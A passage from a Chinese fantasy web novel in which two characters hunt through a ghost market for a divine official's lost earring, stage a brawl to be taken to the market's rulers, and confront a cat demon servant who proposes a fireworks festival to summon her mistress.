江知烦躁得敲着玉音,“嗒嗒”的响声融入阵阵吆喝里。
“公子,要不要给身旁的姑娘买个首饰,小姑娘没有不喜欢这种漂亮玩意的。”
头上长着兔耳朵的妖看两人半天停在这没动,以为他们看上了自己的东西,于是开口拉客。
谢玟与挑眉:“好啊,你问问她喜欢什么。”
兔妖一听乐了,自己这摊摆了好几天,东西没卖出几个,现在见有人想买忙询问:“姑娘您看看,上好的首饰,有您喜欢的吗?”
这兔妖卖的绒花首饰粗糙,铜丝拧的梗凹凸不平,缠着的绒线起了毛边,几处还露出里头暗红的芯子。花瓣剪得大小不一,边缘毛毛糙糙,颜色也染得不匀。
换作平常,这种低档次的东西绝对入不了江知的眼,可她现在满心都是耳坠,再加上平时大手大脚惯了,根本没细看摊子上摆的东西就大手一挥,表面自己全要了。
谢玟与拿出一个硕大的元宝,递给兔妖,兔妖愣住了,根本不相信自己的耳朵,半天没动。
“不够?”说着又把手伸进袖子里,准备拿出第二个元宝。
“没……够了!够了!我还要找您钱呢!”兔妖回过神来,忙不迭地摇头。
“不用找了,包起来吧。”
“好!”兔妖动作迅速,像是生怕两人后悔一样,连着垫着的绒布一齐掀起,四角一笼,双手递过去,眼睛眯成一条缝,“您拿好!”
谢玟与接过来,问道:“你们这里最近有发生什么不平常的事吗?”
神官耳坠,顾名思义是神官的东西,这东西落到鬼市肯定要引起一番轰动的,从这里查是最容易的。
江知听出他的用意,敲玉音的手停下了,原本因冥想有些空洞的眼睛恢复神采,盯着面前的兔妖。
兔妖被两个人看得兔毛一根根竖起,危机感油然而生,尖叫着让自己快点跑走,但想想自己揣着的那个硕大的元宝,还是开口答道:“不平常的事啊,鬼市里天天都有!这没有一天是太平的!”
江知对这个回答不满,追问:“你说说最近发生的,最奇怪的事。”
边说着边拿出一张纸币,在这个贪财的小妖面前晃晃,“说得好了,我满意了,这些都是你的。”
兔妖的眼睛立刻黏了上去,目光随着那张纸币左右游走,脖子不自觉地前伸,道:“让我仔细想想。”
它的眉头拧着,毛茸茸的手指摩挲着,眼睛却始终没有离开那张纸币。
良久,它红眼睛一亮,三瓣嘴高高翘起:“我好久没看到元阳大人了,他妹妹元阴大人最近也换了壳子。这算是最奇怪的地方了。”
鬼和妖不一样,不需要频繁换躯壳,它们一般生前如何,身后就如何。
虽然并不知道兔妖嘴里的元阴元阳指的是谁,但能被称作“大人”想来身份不一般。
这样不一般的人其中一个消失了,另一个换壳子了,得确称的上很古怪,很可能和神官遗失的耳坠有关。
江知这次满意了,拿着纸币的手一松。
钞票还没落地,兔妖已经扑了过去,整个人趴在地上,双手死死摁住那张飘摇的纸。
那张纸被他捡起来贴到胸口,长长舒了口气,脸上绽开一个心满意足的笑。
待兔妖走远,江知才用只有彼此听到的声音问:“元阴元阳是谁啊?”
谢玟与把一包首饰递过去:“鬼市的主人,听说是一对兄妹,更多的就不知道了。”
江知接过来,没打开看一眼就收到袖子里,琵琶袖底下鼓起,“你说耳坠会不会在他们那啊?”
谢玟与点头道:“很有可能。而且我们现在也没别的线索,先去那里看看。”
江知刚往前走几步,又讪讪退回来,摸着脑袋有些不好意思:“我们该去哪找他们啊?”
谢玟与被她逗笑了,肩膀抖得一颤一颤的:“这个我也不清楚。”
“你也不知道?!那这里这么大,我们一处一处找要找到什么时候?”江知有些绝望。
“我有个办法。”谢玟与淡淡开口,然后上下扫了她一眼,“就是你可能要受些委屈。”
“什么办法?”要是能快点找到元阴元阳,她是很愿意受点委屈的。
“既然是鬼市之主,肯定要处理一点在鬼市里面闹事的。”谢玟与笑得有些邪气,接下来的话不用他说,江知也明
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白了个七七八八。
二人对视一眼,从对方的眼神中知道对方接下来要做什么。
谢玟与抄起摊上的陶罐狠狠砸在地上,碎片四溅。江知也不甘示弱,一脚踹翻旁边的竹筐,干货哗啦啦洒了一地。
两人像比赛似的,见什么砸什么,碗碟、布匹、杂货摊无一幸免,小鬼们想阻止,但一靠近就被二人身边环绕的真气弹得老远。
其他没靠近小鬼的吓得连连后退,叫骂声、碎裂声混成一片。很快,整条街就像被龙卷风刮过一样变得乱七八糟。
终于,几个长着黑色猫耳的鬼拨开人群冲了进来。为首的大喝一声:“住手!”
谢玟与手里正举着个花瓶,听到喊声,手一顿,慢慢放下来。江知也停了脚,站在一片狼藉中间,头发散乱,裙角沾着面粉。
这应该就是鬼市的巡捕,现在砸了摊子,肯定是犯了大忌,他们一定会带自己去见鬼市之主。
于是两人同时收敛起环绕着的护体真气,好让这些巡捕能顺利“逮捕”自己。
猫妖们围上去,一人扭住一条胳膊。谢玟与没挣,江知也没躲,任由他们押着往外走。
那些刚刚被弹飞的小鬼目瞪口呆,在元阴元阳的统治下,鬼市从没出现过这种事,这些巡捕也就成了虚职。
简单来说就是巡捕里没一个厉害的,就连摆摊的摊主都有可能打不过。
但刚刚没出手就把别人弹的老远的人此刻却轻松被他们擒住了。难道说,这些巡捕之前都是扮猪吃老虎吗?
其中一个刚飞出去,屁股还在隐隐作痛的狐妖手中聚起一团狐火,冲着队伍最后面的猫妖飞去。
这团火不偏不倚,正巧落到那只猫妖的尾巴尖上。
“我靠!这谁干的!”
猫妖炸了毛,尾巴甩得像风车,原地转了好几圈,爪子乱拍,尾巴上的火苗却越拍越旺。它疼得吱哇乱叫,眼珠子瞪得溜圆,尾巴尖烧得噼啪作响。
狐妖本只是随手一丢,想试试他们是不是真的隐藏实力,没想到真中了,愣了一瞬,脸色刷地白了,转身就跑,眨眼就消失在巷子尽头。
其他几只猫妖围过来,手打打脚踩踩,就是不去找水,也不知道是不是发泄这平日的不满。
火灭了,那只猫妖的尾巴不仅被烧得光秃秃的,还红肿着,比原来至少粗了一整圈,空气里弥漫着烧焦的味道。
“哈哈哈——好蠢好弱——”江知被眼前的景象逗乐了,那团火很弱,弱到自己不需要出手,只要看一眼都能熄灭。
猫妖本就因为找不到火的主人生气,看见江知嘲笑自己更是烦躁,它刚想一爪子挠上去,手腕就被抓住了,动弹不得。
谢玟与嘴角眉梢都带着笑意,可这笑意不达眼底,看得人心里发毛:“你最好别动她,乖乖带我们去见鬼市之主。”
声音很轻,但震撼力很大。
这种气场,这种压迫力,猫妖只在元阴大人身上见过。它收回爪子,颤抖着咽了口唾沫:“好……”
江知瞪他一眼:“你这样吓它好吗?这样它们还会带我们去找元阴元阳吗?”
谢玟与安慰道:“会的。毕竟它们打不过我们。”
“那你说什么会受委屈呢。”
“我没想到他们这么弱。”
猫妖们:好生气啊,但是打不过,只能忍了!
12. 狸奴月姬
夜色浓稠,荒芜的小径上,几点幽绿荧光无声移动。
那是押送江知和谢玟的那队猫妖,准确地说,它们并没有押送二人,而是做出一份押送的姿态。
毕竟两人手腕上用来束缚的妖丝松松垮垮,一挣就能脱开。
但他们根本没打算挣脱,一个表情平淡得像在饭后散步,另一个甚至打了个哈欠。
二人任由这队猫妖带路,由于没有计时的工具,不知道到底走了多久,只觉得脚腕隐隐酸痛之时,前方豁然开朗。
小径的尽头竟藏着一座宫殿。汉白台阶一尘不染,檐角下悬挂的鸽血宝石在夜风中轻轻碰撞,叮当作响,朱红大门打开,从殿内透出丝丝光亮。
一队人抬脚迈上台阶,映入眼帘的是更加奢靡的内殿。
地上铺着整张白狐皮,每一根毛都是如雪般白净;紫檀木架上的珊瑚树半人高;夜明珠镶嵌在墙壁之上提供光亮;金丝软垫推成小山,上面斜倚着一只白猫。
“今日元阴大人不在吗?”领头的猫妖开口询问。
那只好像睡着了的白猫翻了个身,四肢随着它的动作拉长、舒展,眨眼之间变成一个蜷着身子打哈欠的少女。
她约莫十五六岁,洁白的长发铺在软垫上,眼角上挑,还带着几分慵懒的味道。
她揉揉眼睛,坐起来,歪着头看了看底下的一群人,道:“不在。发生什么事了?”
领头的猫妖凑上前说:“这两人今日大闹鬼市,我把他们抓过来想交给元阴大人处理。”
少女满不在意,眼皮都没动一下:“这种事还需大人处理?带下去各打五十大板不就行了。”
那只近距离感受过谢玟威压的猫妖走上前,凑到少女身旁耳语几句:“不行啊,我能感受得出来,他们很厉害。而且这二人是冲着元阴元阳大人来的,不达目的是不会罢休的。”
少女柳眉微蹙,道:“你知道他们是为了大人来的,还带他们过来?”
猫妖急了,忙解释:“就算他们再厉害,哪能有元阴大人厉害?我正是清楚这一点,才敢带他们过来的。月姬啊,你可别误会我!”
“油嘴滑舌!不过你确实说得对,我就没见过比元阴大人还厉害的人!”提起元阴,月姬的眼里满是崇拜,“把他们交给我吧,你们可以走了。”
猫妖们等这句话很久了,月姬话音落地,他们齐刷刷地冲出宫殿,那速度简直是飞出去。
其中几只在白狐皮上摔了一跤,四爪着地、连滚带爬。
“喂——谁踩到老子尾巴了?!”
“让让——让我先出去——”
“别把你全是糊味的尾巴放老子鼻子上啊!”
……
简直,乱七八糟,毫无记录。
月姬无奈扶了扶额,躺在软垫上一动不动,任由猫妖在殿内胡闹,一直到宫殿里只剩下自己和刚刚大闹鬼市的两个人后,她才动了。
从金丝软垫上跳下来,赤足踩到白狐垫上,走到两人面前,仰起脸,琥珀色的猫瞳眨了眨,露出一个甜甜的笑:“你们找元阴大人所为何事?”
江知虽不清楚面前这只白猫具体和元阴有什么关系,但可以确定的是一定非同寻常,她斟酌着开口:“我听说元阴她换壳子了,想来看看换成什么样了。”
月姬转过身,看不到她脸上的表情,只能听到声音:“这点小事,值得你们大闹鬼市?把我当小孩哄呢。”
江知谎话张口就来,丝毫不见脸红:“这怎么能叫小事?你要知道我这人素来爱美,我是真的很好奇到底是怎样绝美的壳子才能让元阴放弃了之前的那个。”
在她看不见的地方,月姬翻了个白眼,心里止不住吐槽这拙劣的谎话。
一旁的谢玟与也看不下去了,开口打断:“我们的确是为了元阴换躯壳一事而来,但绝不是为了看看她的新躯壳有多美,而是怀疑她。”
月姬转回来,身上的飘带飘荡:“怀疑她?怀疑她什么?”
江知见谢玟与直说了,自己也就再也没有胡扯的必要,正色道:“天上的神官丢了个东西到鬼市了,正巧元阴此时换壳,难道不奇怪吗?不值得怀疑吗?”
月姬低笑一声:“哎呀,确实很值得怀疑呢。不过我们大人正常的很,你们要找的东西不可能在她身上的。”
谢玟与眼神晦暗不明:“真的么?”
月姬急了:“当然是真的,我骗你们对我自己有什么好处吗?”
“那你说说元阴去哪了?”
月姬咬着下唇,薄薄的唇瓣被她自己咬得几近出血,才愤愤开口:“我只是大人豢养的一只狸奴,大人要去哪里我怎么会知道!”
这下换成谢玟与笑出声:“冥界所有人都知道元阴养了一只狸奴,十分喜爱,去哪里都会带着。这次你怎么没跟着她?”
江知也轻声道:“就算不知道这些你的反应也很可疑啊,元阴把你养得心眼全无,什么都写到脸上了。”
月姬垂下眼不再说话,手指悄悄绞着纱衣的衣角,绞了两圈又松开,松开又绞上。
她在原地踌躇半天,江知和谢玟与都没再说话,殿内安静得落针可闻。这种情况必须给人足够的时间思考,可不能把人逼急了。
好巧不巧,被江知藏在怀里的玉音震动一下,她下意识拿出来查看。
在玉音暴露在月姬视线里的一瞬间,她的瞳孔竖起,脚腕上的金铃叮当作响,整个人飞出,化为一道白影。
在这之前,无论是人型还是妖身都是懒散模样的月姬透露出身为猫妖的本性——凌厉、凶狠。
五指伸出,指甲变长、变尖,直取谢玟与的面门。
这个人看上去很了解她们,那就先杀他!
江知连眼皮都没抬,只是随意地抛出一张符箓。
殿内无风,符箓却像处在风中一般随风飘摇,渐渐飘到月姬身上。
那张黄纸又轻又薄,可月姬碰到之时只觉自己所有的妖气都烟消云散。寸许长的指甲开始变短,只是堪堪比指尖长一点。
妖气消失的下一秒,一股不容抗拒的力道从自己和符纸接触的地方传来,接着整个人被弹飞出去。
眼见月姬马上就要狼狈地摔在地上,红线显型,一端在江知五指缠绕,另一端爬上月姬腰间,托着她回到金丝软垫之上。
身下触感绵软,腰间红线环绕,动弹不得。
江知把玉音拿在手上晃了晃:“怎么我们一拿出这个你反应这么大,你认识这个?”
月姬仰面朝天躺在软垫上,懵了好一会才回答:“不认识。”
谢玟与还是被她袭击之前的那个姿势没变:“她说谎,冥界几乎没有人不认识这东西的。”
月姬见自己被拆穿,闷声闷气地说:“说谎又怎样?有本事你们杀了我!我告诉你们我一点都不怕!”
江知头有些疼,这月姬看上去是一个十五六岁的少女,但行为幼稚和两岁小孩没区别,脾气可能比两岁小孩还要差一些。
她手指微动,红线变松,在月姬挣不开的前提下尽量不勒到她,“我看她犹豫半天,以为马上就要松口了,怎么看到玉音就翻脸了?”
谢玟与回答:“因为玉音是无常专属,她可能认为我们是来勾元阴魂的。”
月姬
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从软垫上坐起来,头发左一根右一根地翘起,纱衣歪斜,“你们不是来勾魂的?”
“不是啊。刚不还说了我们是来找东西的。”江知把玉音上“神官耳坠”四个大字给她看,“这下信了吧?”
月姬抱着膝盖,把半张脸埋进去,瓮声瓮气地问:“真的?”
江知无视了谢玟与说要找她算账的消息,边把玉音装回去边点头:“真的。”
一旁的谢玟与跟着点头:“嗯,真的。”
月姬微微抬头,露出一双眼睛,琥珀色的瞳孔恢复圆润,眨巴眨巴看着两人:“元阴大人之前上哪都带着我,自从换壳子后就变了。我之前以为她是厌弃我了,如今看来是另有隐情。”
江知坏笑着打趣道:“说不定真的厌弃你了。”
月姬抬手想指着江知反驳,手抬到一半就被红线拽住,“你胡说!”
“我是胡说,别生气了。”江知一面安抚她,一面把捆着她的红线收回。
由于捆的时间并不长再加上捆得不紧,松开时月姬没有第一时间察觉,手还是在胸口位置,“大人的右耳上有一只耳坠,是她换壳子之后才开始戴的,可能就是你们要找的。”
谢玟与追问:“你知道她去哪了吗?”
月姬摇摇头:“不知道。”
江知有些失望:“那我们这一趟不是白来了吗?元阴连个信物都没给你吗?她真的很喜欢你?”
一条雪白的尾巴从纱衣下摆探出来,毛茸茸的,愤怒地甩了好几下,“她当然很喜欢我了!没有信物是因为……因为我们从前都是在一处的,根本用不上!而且谁说你们白来了,我虽然找不到大人,但我能让大人来找我们!”
谢玟与来了兴趣,抬眸看了月姬一眼,道:“什么办法?说来听听。”
江知脸上的失望一扫而过,取而代之的是期许:“别卖关子了,快说快说。”
月姬洋洋得意地开口:“烟火大会。只要举行烟火大会,元阴大人无论在哪里都要回来主持的。”
谢玟与有些茫然,他在冥界这么多年,从来都不知道鬼市还有这么一个习俗。
月姬自然看出了他眼里的疑惑,解释道:“你没听过很正常,烟火大会好多年没有举办过了,我也是在元阴大人不见之后,为了找她回来才多番打听知道的。”
江知脸上也充满了疑惑,“烟火大会”这词一听就是放烟花的,放放烟花真的能召元阴归来吗?
“靠谱么?”这么想也就这么问出口了。
月姬见两人都不相信自己,眼睛瞪得圆圆的:“当然靠谱!再说了,你们还有其他办法吗?”
其他办法确实没有,看来只能把希望寄托于这只猫妖身上了。
江知:“需要我们帮忙吗?”
月姬抱着膝盖坐在软垫边缘,下巴搁在膝盖上,两只手垂在脚边,赤足轻晃:“不需要。我全准备好了,明天鬼市里会举行一场万年不见、空前盛大的烟火大会。”
她的眼里闪着光:“到时候,元阴大人就会在漫天烟火中,踏着七色云彩来找我了。”
谢玟与打断她的想象:“烟火大会一般在晚上举行,那时候应该不会有七色云彩。”
江知反驳道:“说不定鬼市的烟火就是白天放的,白日焰火、异彩漫天,想来也是很美的。”
月姬:“对!谁说烟火大会是晚上的!”
实际上她根本不知道烟火大会到底是白天还是晚上举行,这估计并不重要。既然不重要,为了自己的面子着想,白天举行也不是不行。
何况,她真的很想元阴大人踩着七色云彩来找自己。